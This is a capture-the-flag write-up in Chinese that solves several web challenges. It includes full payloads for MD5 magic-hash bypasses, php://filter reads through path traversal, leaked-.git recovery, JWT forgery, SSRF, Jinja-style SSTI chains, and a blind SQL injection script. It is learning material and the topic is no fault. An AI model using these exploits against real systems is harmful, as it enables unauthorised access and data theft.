消失的密钥 题目提示对 key 很敏感,注入 1 回显认证失败,注入 key 回显我们注入的值为空,后端应该是对我们的输入的 key 进行了空字符替换,双写绕过即可
1 http://39.105.213.28:12601/?step1=kkeyey
有了新的回显给了两行提示:
Master Const: 1337
POST data structure ‘a’ missing. Terminal locked
字面意思就是 post 传递 a 参数值为 1337,直接传 a=1337 会回显 Data type mismatch or incorrect constant ,值肯定是没问题的那就是类型不匹配,后端接收 int 类型的值而我们传递的是字符串,上网搜索如何直接传数组主要有两种方法,一是传 json 数据,即 {"a":1337},但是经尝试服务器无法接收因为回显为 'a' missing
还有一种方法是传数组 a[]=1337,php 会将其处理为 a[0]=1337,直接传递还是回显类型不匹配,看来得控制键名,同样还是根据题目依据猜测:
成功完成第二步,得到新的提示:
**Collision check pending. Collision pending. (Params ‘a’, ‘b’ required via GET. )**翻译一下就是检查 get 参数 a 和 b 的碰撞,一般多为 md5,常规的绕过就是利用 md5 函数对数组类型的特殊处理
1 2 3 4 5 6 7 <?php $a []=1;$b []=2;if ($a !== $b && md5($a ) === md5($b )) { echo "绕过成功" ; } ?>
注入 ?step1=kkeyey&a=1&b=1 页面的报错提示没了但是也没给 flag,说白了就是 payload 不满足碰撞条件,换个思路考虑哈希碰撞
1 2 3 4 5 6 7 <?php $a = 'QNKCDZO' ; $b = '240610708' ; var_dump(md5($a )); var_dump(md5($b )); if (md5($a ) == md5($b )) echo "绕过成功" ?>
PHP 弱比较规则:当两个字符串均以 0e 开头时,PHP 会将其隐式转为浮点数进行比较:
0e8304... → 0 × 10^8304... = 0.0
0e4620... → 0 × 10^4620... = 0.0
0.0 == 0.0 → true(即使原始字符串内容不同)
最终 payload:
1 2 GET:?step1=kkeyey&a=QNKCDZO&b=240610708 POST:a[key]=1337
JSON Beautifier /robots.txt 给了题目的两个路由 /api/preview.php 预览文件,/api/beautify.php 写文件
/api/preview.php 路由下能提供 get 传递 file 参数,尝试传递在 /api/beautify.php 获得的文件名能够预览其内容,传递 ../../../etc/passwd 爆 403,文件是存在的只是没有读取权限
尝试常规路径读取文件:
../../../var/www/html/src/api/beautify.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 <?php declare (strict_types=1 );header ('Content-Type: application/json; charset=utf-8' );header ('X-Powered-By: JSON Beautifier' );error_reporting (0 );require_once __DIR__ . '/config.php' ;function respond (int $code , array $payload ): void { http_response_code ($code ); echo json_encode ($payload , JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit ; } function ensureTempDir ( ): void { if (!is_dir (TMP_DIR)) { @mkdir (TMP_DIR, 0700 , true ); } @chmod (TMP_DIR, 0700 ); } function cleanupOldFiles (int $maxAgeSeconds = 300 , int $maxScan = 200 ): void { if (!is_dir (TMP_DIR)) return ; $files = @glob (TMP_DIR . '/*.tmp' ); if (!$files ) return ; $now = time (); $n = 0 ; foreach ($files as $f ) { if ($n ++ >= $maxScan ) break ; if (!is_file ($f )) continue ; $age = $now - @filemtime ($f ); if ($age > $maxAgeSeconds ) { @unlink ($f ); } } } ensureTempDir ();if ($_SERVER ['REQUEST_METHOD' ] === 'GET' ) { respond (200 , [ 'service' => 'JSON Beautifier' , 'usage' => 'POST JSON: {"data":"...","preview_type":"raw|data_uri"}' , 'preview_api' => '/api/preview.php?file=<preview_id>.tmp' ]); } if ($_SERVER ['REQUEST_METHOD' ] !== 'POST' ) { respond (405 , ['error' => 'Method Not Allowed' ]); } $raw = file_get_contents ('php://input' );$data = json_decode ($raw , true );if (!is_array ($data )) { respond (400 , ['error' => 'Invalid JSON body. Expected JSON like {"data":"...","preview_type":"raw|data_uri"}' ]); } $payload = isset ($data ['data' ]) ? (string )$data ['data' ] : '' ;$previewType = isset ($data ['preview_type' ]) ? (string )$data ['preview_type' ] : 'raw' ;if (trim ($payload ) === '' ) { respond (400 , ['error' => 'Missing field: data' ]); } $previewId = 'preview_' . bin2hex (random_bytes (8 ));$tmpFile = TMP_DIR . '/' . $previewId . '.tmp' ;if ($previewType === 'raw' ) { $decoded = json_decode ($payload , true ); if (json_last_error () !== JSON_ERROR_NONE) { respond (400 , ['error' => 'Field "data" is not valid JSON text' ]); } $pretty = json_encode ($decoded , JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($pretty === false ) { respond (500 , ['error' => 'JSON encode failed' ]); } file_put_contents ($tmpFile , $pretty , LOCK_EX); } elseif ($previewType === 'data_uri' ) { $prefix = 'data:text/plain;base64,' ; if (strpos ($payload , $prefix ) !== 0 ) { respond (400 , ['error' => 'data_uri must start with: data:text/plain;base64,' ]); } $b64 = substr ($payload , strlen ($prefix )); $decoded = base64_decode ($b64 , true ); if ($decoded === false ) { respond (400 , ['error' => 'Invalid base64 in data_uri' ]); } if (strlen ($decoded ) > 4096 ) { respond (413 , ['error' => 'Decoded payload too large' ]); } file_put_contents ($tmpFile , $decoded , LOCK_EX); } else { respond (400 , ['error' => 'Invalid preview_type. Use raw or data_uri' ]); } @chmod ($tmpFile , 0600 ); if (random_int (1 , 10 ) === 1 ) { cleanupOldFiles (300 , 200 ); } respond (200 , [ 'success' => true , 'preview_id' => $previewId , 'preview_file' => $previewId . '.tmp' ]);
../../../var/www/html/src/api/preview.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php declare (strict_types=1 );header ('Content-Type: text/plain; charset=utf-8' );header ('X-Powered-By: JSON Preview' );error_reporting (0 );require_once __DIR__ . '/config.php' ;function out (int $code , string $body ): void { http_response_code ($code ); echo $body ; exit ; } function startsWith (string $s , string $prefix ): bool { return strncmp ($s , $prefix , strlen ($prefix )) === 0 ; } function schemeOf (string $uri ): ?string { $p = strpos ($uri , '://' ); if ($p === false ) return null ; $scheme = substr ($uri , 0 , $p ); if (preg_match ('/^[a-zA-Z][a-zA-Z0-9+\.\-]*$/' , $scheme ) !== 1 ) { return null ; } return strtolower ($scheme ); } if ($_SERVER ['REQUEST_METHOD' ] !== 'GET' ) { out (405 , "Method Not Allowed\n" ); } if (!isset ($_GET ['file' ]) || trim ((string )$_GET ['file' ]) === '' ) { out (200 , "JSON Preview API\n\n" . "Usage:\n" . " GET /api/preview.php?file=<name>\n\n" . "有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。\n" ); } $file = (string )$_GET ['file' ];$file = str_replace ("\0" , '' , $file );$requested = TMP_DIR . '/' . $file ;if (strpos ($requested , TMP_DIR) !== 0 ) { out (400 , "Bad path\n" ); } $real = realpath ($requested );if ($real === false || !is_file ($real )) { out (404 , "Not Found\n" ); } $tmpPrefix = rtrim (TMP_DIR, '/' ) . '/' ;$srcPrefix = rtrim (SRC_API_DIR, '/' ) . '/' ;if (!startsWith ($real , $tmpPrefix ) && !startsWith ($real , $srcPrefix )) { out (403 , "Forbidden\n" ); } $content = file_get_contents ($real );if ($content === false ) { out (500 , "Read error\n" ); } $isTmp = startsWith ($real , $tmpPrefix ) && preg_match ('/\.tmp$/' , $real ) === 1 ;$line = trim ((string )$content );if ($isTmp ) { $scheme = schemeOf ($line ); if ($scheme !== null ) { $deny = [ 'http' , 'https' , 'ftp' , 'ftps' , 'phar' , 'expect' , ]; if (in_array ($scheme , $deny , true )) { out (403 , "Forbidden scheme\n" ); } $pos = stripos ($line , 'resource=' ); if ($pos === false ) { out (400 , "Bad reference\n" ); } $resource = rawurldecode (substr ($line , $pos + 9 )); if ($resource !== FLAG_PATH) { out (403 , "Forbidden resource\n" ); } $data = @file_get_contents ($line ); if ($data === false ) { out (500 , "Resource read error\n" ); } echo $data ; exit ; } } echo $content ;
代码审计:
beautify.php 的 data_uri 模式允许我们把内容写入 /tmp/json_preview/ 路径
preview.php 在读取目标文件时,其内容类似于协议,就会把其作为 url 进行 file_get_contents()
攻击思路:
黑名单中没有 ban 掉 php://filter,利用其进行文件读取
读取的 resource 名称不能为 FLAG_PATH,但是 beautify.php 的 data_uri 模式能够进行 base64 编码绕过
读取 ../../../var/www/html/src/api/config.php 拿到 FLAG_PATH 为 /secret/flag
实际攻击:
在 /api/beautify.php 将 preview_type 设置为 data_uri,通过 php://filter/convert.base64-encode/resource=/secret/flag 在后续读取 flag 内容,为满足”data_uri must start with: data:text/plain;base64”的条件还需要进行一次 base64 编码
1 2 3 4 { "data":"data:text/plain;base64,cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vc2VjcmV0L2ZsYWc=", "preview_type":"data_uri" }
在 /api/preview.php 读取对应的文件,解码即可
夜班审计台 首页给了一个为 sql 查询功能,加载的 /static/main.js 明文写入了 window.__buildTrace = "/.git/HEAD",目录扫描出 /.git/HEAD,下载后得到信息“ref: refs/heads/master”,根据该提示再访问 /.git/refs/heads/master,得到一串 40 位的字符
1 9 fdf9b412e7cfe179e59d28f25f47cffd68484e7
这就是当前版本的 Commit 提交对象的 id
Git 将所有内容存储在 /.git/objects/ 目录下,路径格式为:前 2 位字符/后 38 位字符。
下载:根据刚才拿到的 SHA-1,访问 /.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7
zlib 压缩的二进制文件,直接读取压缩
1 2 3 4 import zlib, urllib.requesturl = "http://39.105.213.28:49106/.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7" data = urllib.request.urlopen(url).read() print (zlib.decompress(data).decode('utf-8' , 'replace' ))
tree 代表当前文件夹结构,parent 代表上一个版本
解析 Tree(树)对象:按照同样的办法,下载并解压 tree 对应的 SHA-1 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import urllib.requestimport zlibimport reBASE_URL = "http://39.105.213.28:49106/.git" def get_git_object (sha1 ): path = f"/objects/{sha1[:2 ]} /{sha1[2 :]} " try : data = urllib.request.urlopen(BASE_URL + path).read() return zlib.decompress(data) except : return None def get_file_sha1 (tree_sha1, filename ): raw = get_git_object(tree_sha1) if not raw: return None pos = raw.find(filename.encode()) if pos != -1 : return raw[pos + len (filename) + 1 : pos + len (filename) + 21 ].hex () return None def solve (): master_url = f"{BASE_URL} /refs/heads/master" curr_commit = urllib.request.urlopen(master_url).read().decode().strip() commit_data = get_git_object(curr_commit).decode() curr_tree = re.search(r"tree ([0-9a-f]{40})" , commit_data).group(1 ) prev_commit = re.search(r"parent ([0-9a-f]{40})" , commit_data).group(1 ) curr_blob = get_file_sha1(curr_tree, "legacy_probe_stub.py" ) if curr_blob: print (get_git_object(curr_blob).decode('utf-8' , 'ignore' )) prev_commit_data = get_git_object(prev_commit).decode() prev_tree = re.search(r"tree ([0-9a-f]{40})" , prev_commit_data).group(1 ) prev_blob = get_file_sha1(prev_tree, "legacy_probe_stub.py" ) if prev_blob: print (get_git_object(prev_blob).decode('utf-8' , 'ignore' )) if __name__ == "__main__" : solve()
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 blob 1142_ _ DEFAULT_AUDITOR = ("auditor" , "audit2025" ) INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527" JWT_ACCEPTED = ["RS256" , "HS256" ] def decode_ticket (token ): """ current branch: if header.alg == "RS256": verify with audit_rsa_pub.pem elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET normal login still issues role=user """ raise NotImplementedError def handover (): note = [] note.append("dashboard link to /auditor/nodes stays role-gated" ) note.append("legacy fallback verifier was removed from this revision" ) note.append("if night shift asks for old sign rule, inspect previous revision" ) return note class TinyMaze : MAP = [ "#########" , "#..#....#" , "#..#.#..#" , "#....#..#" , "#########" , ] def __init__ (self, start=(1 , 1 ) ): self .pos = list (start) def move (self, dx, dy ): x = self .pos[0 ] + dx y = self .pos[1 ] + dy if self .MAP[y][x] != "#" : self .pos = [x, y] return tuple (self .pos) blob 893_ _ SERVER_SECRET = "ISCC_SERVER_SECRET_REAL" LOCAL_ONLY = ("127.0.0.1" , "::1" ) AUDIT_NODE = "core-storage-01" TIME_WINDOW = 60 def verify_probe (node_id: str , ts: int , sign: str ) -> bool : """ internal/audit fallback: msg = f"{node_id}:{ts}" expected = HMAC_SHA256_hex(SERVER_SECRET, msg) abs(now-ts) <= 60 remote_addr in LOCAL_ONLY """ raise NotImplementedError class PixelRunner : def __init__ (self ): self .energy = 3 self .score = 0 def tick (self, move: str ): if move in {"left" , "right" , "jump" }: self .score += 1 self .energy = max (0 , self .energy - 1 ) return self .score, self .energy def demo_loop (script ): game = PixelRunner() for move in script: game.tick(move) return game.score
拿到默认账密,登陆后角色仍然为 user:DEFAULT_AUDITOR = ("auditor", "audit2025")
源码暴露了 JWT 密钥:INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"
说明开发环境/调试环境中,HS256 会使用这个对称密钥,且服务端接受两种 JWT 算法:JWT_ACCEPTED = ["RS256", "HS256"]
1 2 3 if header.alg == "RS256" : verify with audit_rsa_pub.pemelif header.alg == "HS256" : verify with INTERNAL_DEV_SECRETnormal login still issues role=user
这里说明正常登录签发的票据虽然可能是合法的,但角色仍然是 user;如果服务端在校验时允许 HS256,而我们又已经知道了 INTERNAL_DEV_SECRET,那就可以伪造一个 role=auditor 的 JWT
用 auditorJWT 登陆后台后,要求填写三个数据 node_id,ts ,sign,提示如下:
本页面会代你向内部审计进程发起请求,查询指定节点的状态 内部接口只接受带签名的请求,签名基于 node_id 和 timestamp 计算,并设定了严格的时间窗口
第一段源码提示:note.append("if night shift asks for old sign rule, inspect previous revision")
旧版本里还有下一阶段的签名规则,继续翻历史,拿到逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 SERVER_SECRET = "ISCC_SERVER_SECRET_REAL" LOCAL_ONLY = ("127.0.0.1" , "::1" ) AUDIT_NODE = "core-storage-01" TIME_WINDOW = 60 def verify_probe (node_id: str , ts: int , sign: str ) -> bool : """ internal/audit fallback: msg = f"{node_id}:{ts}" expected = HMAC_SHA256_hex(SERVER_SECRET, msg) abs(now-ts) <= 60 remote_addr in LOCAL_ONLY """ raise NotImplementedError
根据其写出 exp,填入对应数据即可,注意 JWT 会过期需要快点填写
1 2 3 4 5 6 7 8 9 10 11 12 13 import timeimport hmacimport hashlibnode = 'core-storage-01' ts = str (int (time.time())) secret = b'ISCC_SERVER_SECRET_REAL' msg = f'{node} :{ts} ' .encode() sign = hmac.new(secret, msg, hashlib.sha256).hexdigest() print ('ts =' , ts)print ('sign =' , sign)
值班邮件台 /admin.php 需要管理员用户,在 Cookie 改 mail_role=admin 进入后台预览面板,需要提供预览凭据和诊断地址,同时能在 /download.php 通过传递 get 参数 file 读取目标文件
1 2 3 4 5 6 7 8 // files/notes/preview-readme.txt [后台预览面板联调说明] 1. 仅供值班管理员使用。 2. 预览器只用于查看本机内部诊断结果,不支持外部地址。 3. 原型阶段的双人复核逻辑已单独摘录,调试时可直接查看:admin.php 4. 诊断地址命名规则已从后台原型迁出,当前以 route-index.txt 为准。 5. 线上会删掉这些联调材料,值班同学看完记得清理。
1 2 3 4 5 6 7 // files/notes/route-index.txt [内部诊断路由索引] 当前仍保留的诊断别名如下: health -> /internal/health mailq -> /internal/queue final -> /internal/report?view=flag&slot=last
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $tokenA = (string )($_POST ['token_a' ] ?? '' );$tokenB = (string )($_POST ['token_b' ] ?? '' );if ($tokenA === '' || $tokenB === '' ) { exit ('两份预览凭据都需要填写' ); } if ($tokenA === $tokenB ) { exit ('两份输入不能完全相同' ); } $h1 = md5 ($tokenA );$h2 = md5 ($tokenB );if ($h1 == $h2 && $h1 !== $h2 ) { echo "校验通过,允许继续请求诊断地址" ; } else { echo "双人复核失败" ; } ?>
其所谓的双人复核逻辑考察的就是经典 md5 绕过,给的利用其访问内部接口,经测试内部接口实际挂在本机 80 端口,最终 payload:
1 2 3 curl -s -H "Cookie: mail_user=guest; mail_role=admin" \ -d "token_a=QNKCDZO&token_b=240610708&target_url=http://127.0.0.1:80/internal/report?view=flag&slot=last" \ http://39.105.213.28:49103/admin.php
灵感笔记 admin 账号能直接登录,/api/admin/hint 拿到信息:
1 2 3 4 5 6 === API Endpoint Hint === POST /api/v1/project/detail HTTP/1.1 Host : localhost:5000Content-Type : application/json{ "project_id" : "<project-id>" }
结合 /project/flag-project-001 中提示“这是 secret”,我们需要利用 /api/v1/project/detail 接口获取这个 secret:
虽然无权查看此笔记,但是我们从回显拿到了 trace_id 可以在 /feedback 用的上,注意携带响应中的 session·
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "level" : "\u9519\u8bef" , "message" : "\u5c1d\u8bd5\u975e\u6cd5\u8bbf\u95ee\u91cd\u8981\u7b14\u8bb0" , "metadata" : { "action" : "access_denied" , "source" : "notes_module" } , "project_id" : "flag-project-001" , "request_data" : "POST /api/v1/project/detail | project_id=flag-project-001" , "stack_trace" : "Object: 8004958c000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c1f495343437b657047466b3875756658654e37526b57776e617566757766727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d31355431343a31353a30302e36343839353794752e" , "timestamp" : "2026-05-15T14:15:00.648972" , "trace_id" : "8f3e0eba-9285-4282-bdf8-2ea5319ae85f" , "user_id" : "7e398457-0ad3-4351-bc18-83b9e034e15d" }
特别关注 stack_trace,开头的 80 04 是 Python pickle protocol 4 的经典魔数
这不是普通 hex,而是 Python pickle 序列化后的十六进制数据,将其 hex 解码后进行反序列化操作 pickle.loads 即可
1 2 3 4 5 import pickledata = "8004958c000000000000007d94288c0474797065948c0b464c41475f4f424a454354948c04666c6167948c1f495343437b657047466b3875756658654e37526b57776e617566757766727d948c0a70726f6a6563745f6964948c10666c61672d70726f6a6563742d303031948c0974696d657374616d70948c1a323032362d30352d31355431343a31353a30302e36343839353794752e" obj = pickle.loads(bytes .fromhex(data)) print (obj)
社团活动统计 前端禁用了调试和右键功能,给有提示:访问核心功能需:用户代理 + 官方来源页 + 校园令牌
访问 /robots.txt:Allow: /static/hint/tech_stack.txt
访问 /static/hint/tech_stack.txt:
1 2 3 4 5 Backend: Django 5.2.5 ATTENTION: To access the core interface, you need to set two request headers correctly: User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols); Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).
翻译一下:
后端:Django 5.2.5
注意:要访问核心接口,您需要正确设置两个请求头:
User-Agent:必须严格遵循“Campus-Stat/1.0”(包括大小写和特殊符号)
Referer:必须是包含“campus-stat.example.com”的有效 HTTPS URL(无额外内容,仅限根域名)
还差一个校园令牌,在 /?page=2 的响应头中可以拿到 X-Campus-Token: campus-ctf-2024-abc123
1 2 3 User-Agent : Campus-Stat/1.0Referer : https://campus-stat.example.com/X-Campus-Token : campus-ctf-2024-abc123
前端源码有 css 高亮标记,暗示 activity 和 admin
1 2 <**a** **href**="#">"<**span** **class**="highlight-key">活动</**span**>"分类</**a**> <**a** **href**="#">社团"<**span** **class**="highlight-key">管理</**span**>"</**a**>
访问 /admin/,给提示 Nothing here directly, but maybe start from here... 暗示找 /admin/ 下的文件。同时给了类似 flag 的信息:flag{stat
访问 /stat/,给了提示词 maybe
访问 /activity/,我们拿到了真正的 flag 头
首页和线索页不断在强调 3 个语义词:管理:admin 统计:stat 活动:activity
这类题很常见的设计就是把词直接拿去拼隐藏路由,继续按语义拼接路径 /admin/stat/activity/,这个路径会进入真正的核心统计页面
前端源码注释给了提示
考察的是 sql 盲注注入
过滤了空格,/**/ 绕过
完整敏感关键字,大小写绕过
传递 dim_filter 条件为 true 回显为 10,条件为假则为 0
Flag 存储在 flag 表的 value 字段
正常的查询语句是:
但是由于以上条件的限制,我们采用盲注以及 waf 绕过:
1 substr((SeLeCt value FrOm flag),1 ,1 )= 'I'
接下来就是盲注 + 二分爆破了,先确定 flag 长度再进行后续爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 _"""CTF Web - Boolean Blind SQL Injection EXP""" _ import requestsimport sysimport timeBASE = "http://39.105.213.28:8000" CORE = "/admin/stat/activity/" H = { "User-Agent" : "Campus-Stat/1.0" , "Referer" : "https://campus-stat.example.com/" , "X-Campus-Token" : "campus-ctf-2024-abc123" , } def check (payload ): _"""True → ✅ 10 in response, False → ✅ 0""" _ _ _try : r = requests.get( f"{BASE} {CORE} " , params={"dim_filter" : payload}, headers=H, timeout=15 , ) return "\u2705 10<" in r.text except Exception as e: print (f"\n[ERR] {e} " ) return False print ("[1] robots.txt" , flush=True )r = requests.get(f"{BASE} /robots.txt" , timeout=10 ) print (f" {r.text.strip()} " , flush=True )print ("[2] tech_stack.txt" , flush=True )r = requests.get(f"{BASE} /static/hint/tech_stack.txt" , timeout=10 ) print (f" {r.text.strip()[:150 ]} ..." , flush=True )print ("[3] X-Campus-Token" , flush=True )r = requests.get(f"{BASE} /?page=2" , timeout=10 ) print (f" {r.headers.get('X-Campus-Token' )} " , flush=True )print ("[4] Core route check" , flush=True )r = requests.get(f"{BASE} {CORE} " , headers=H, timeout=10 ) print (f" Status: {r.status_code} " , flush=True )print ("\n[5] Finding flag length..." , flush=True )low, high = 1 , 100 for t in [20 , 30 , 40 , 50 , 60 , 80 , 100 ]: if not check(f"length((SeLeCt/**/value/**/FrOm/**/flag))>{t} " ): high = t break while low < high: mid = (low + high) // 2 if check(f"length((SeLeCt/**/value/**/FrOm/**/flag))>{mid} " ): low = mid + 1 else : high = mid print (f" [{low} , {high} ]" , flush=True ) print (f" Length = {low} " , flush=True )print (f"\n[6] Extracting {low} characters..." , flush=True )charset = sorted (set ( "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "{}_!@#$%^&*()-=+[]|;:,.<>?/~` " )) CHARS = "" .join(charset) N = len (CHARS) flag = "" for pos in range (1 , low + 1 ): lo, hi = 0 , N - 1 while lo <= hi: mid = (lo + hi) // 2 if check(f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{pos} ,1))>{ord (CHARS[mid])} " ): lo = mid + 1 else : hi = mid - 1 found = None if lo < N: ch = CHARS[lo] if check(f"substr((SeLeCt/**/value/**/FrOm/**/flag),{pos} ,1)='{ch} '" ): found = ch if found is None : for c in CHARS: if check(f"substr((SeLeCt/**/value/**/FrOm/**/flag),{pos} ,1)='{c} '" ): found = c break time.sleep(0.05 ) flag += (found or "?" ) print (f" [{pos} /{low} ] {flag} " , flush=True ) print (f"\n{'=' *50 } " )print (f"FLAG: {flag} " )print (f"{'=' *50 } " )
企业公文套红预览系统 /robots.txt 提供了 /backup/ 路径名,前端源码注释中有提示
拼接路径得源码:
index.php:
1 2 3 4 5 6 7 8 9 <?php $notice = "预览入口已迁移到 /preview" ;$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。" ;echo $notice . " " ;echo $compat_note . " " ;?>
app.py:
1 2 3 4 5 6 7 8 9 10 11 12 def build_doc (): return { 'title' : '关于进一步规范企业公文套红预览流程的通知' , 'department' : '企业信息化办公室' , 'doc_no' : '信办发〔2026〕12号' , 'date' : '2026-02-24' , 'summary' : '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。' , 'flag' : '*+*+*+*' }
后端为 Python/3.11.15,结合 index.php 中 compat_note 的提示,推测是打 SSTI
`{{7}}`:7
`{{7*7}}`:预览失败:不支持的表达式
`{{*}}`:预览失败:不支持的表达式
flag:预览失败:不支持的表达式
`{{doc.get('title')}}`:关于进一步规范企业公文套红预览流程的通知
到这里思路其实很清晰了:/preview 存在 SSTI 漏洞,过滤了 flag 和 `{{}}` 中的很多符号,应该是因为后端设置的白名单,但是我们最终想构造的是 `{{doc.get('flag')}}`,还是结合 compat_note 的后半段提示,通过 '' 的继承链拿到 chr() 构造出 flag
1 {{'' .__class__.__base__.__subclasses__()}}
拿到 object 基类中的子类,题目环境中,兼容类型列表的 117 号元素是 BuiltinBridge,继续拼接
1 {{'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__}}
回显已经很明显了:
1 {'__builtins__': {'chr': <built-in function chr>}}
键 __builtins__ 的值是一个子字典,该子字典仅包含一个内建函数 chr 的引用。
字符拼接出 flag 字符串:
1 2 3 4 '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](102 )+'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](108 ) +'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](97 ) +'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](103 )
最终 payload:
1 2 3 4 5 {{doc.get('' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](102 ) +'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](108 ) +'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](97 ) +'' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['__builtins__' ]['chr' ](103 ) )}}
逆向穿越 访问 /config/app/dev/application.yml 得到提示:
This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml)
但是我们无法直接访问 /app/application.yml,直接 ../ 尝试路径穿越也会失效
在页脚的信息:Running on Spring Boot 2.2.6.RELEASE
原本合法的请求路径:/config/app/dev/application.yml
非法穿越访问路径:/config/app/dev/%2fapp%2fapplication.yml
服务会把 %2fapp%2fapplication.yml 解析成 /app/application.yml,最终成功读到系统根下主配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 server: port: 8080 spring: application: name: cloud-config-central management: endpoints: web: base-path: "/internal-monitor-xyz123" exposure: include: "env" endpoint: env: keys-to-sanitize: "password,secret,key,token,.*credentials.*,vcap_services,FLAG" system: diagnostic: auto-dump: true last-crash-time: "2026-03-10T08:15:32Z" backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
访问 /internal-monitor-xyz123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "_links" : { "self" : { "href" : "http://39.105.213.28:12602/internal-monitor-xyz123" , "templated" : false } , "env" : { "href" : "http://39.105.213.28:12602/internal-monitor-xyz123/env" , "templated" : false } , "env-toMatch" : { "href" : "http://39.105.213.28:12602/internal-monitor-xyz123/env/{toMatch}" , "templated" : true } } }
访问 /internal-monitor-xyz123/env/FLAG
1 { "property" : { "source" : "systemEnvironment" , "value" : "******" } }
说明 FLAG 被 keys-to-sanitize 掩码了,不能直接从 env 读出来
/app/application.yml 给我们提供了 system.diagnostic.backup-download-path.${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
backup-download-path 就是的值就是 env 中的 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH,我们访问 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH:
1 2 3 4 5 6 { "property" : { "source" : "systemEnvironment" , "value" : "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat" } }
所以真实可下载的诊断备份路径是:
1 /api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat
直接访问这个 .dat 文件可以下载到一个很大的 Java 堆转储数据。
完整下载不太稳定,所以最稳妥的方法是 使用 Range 分块读取 ,逐块搜索 flag。
在分块扫描过程中,就可以定位到真正的 flag
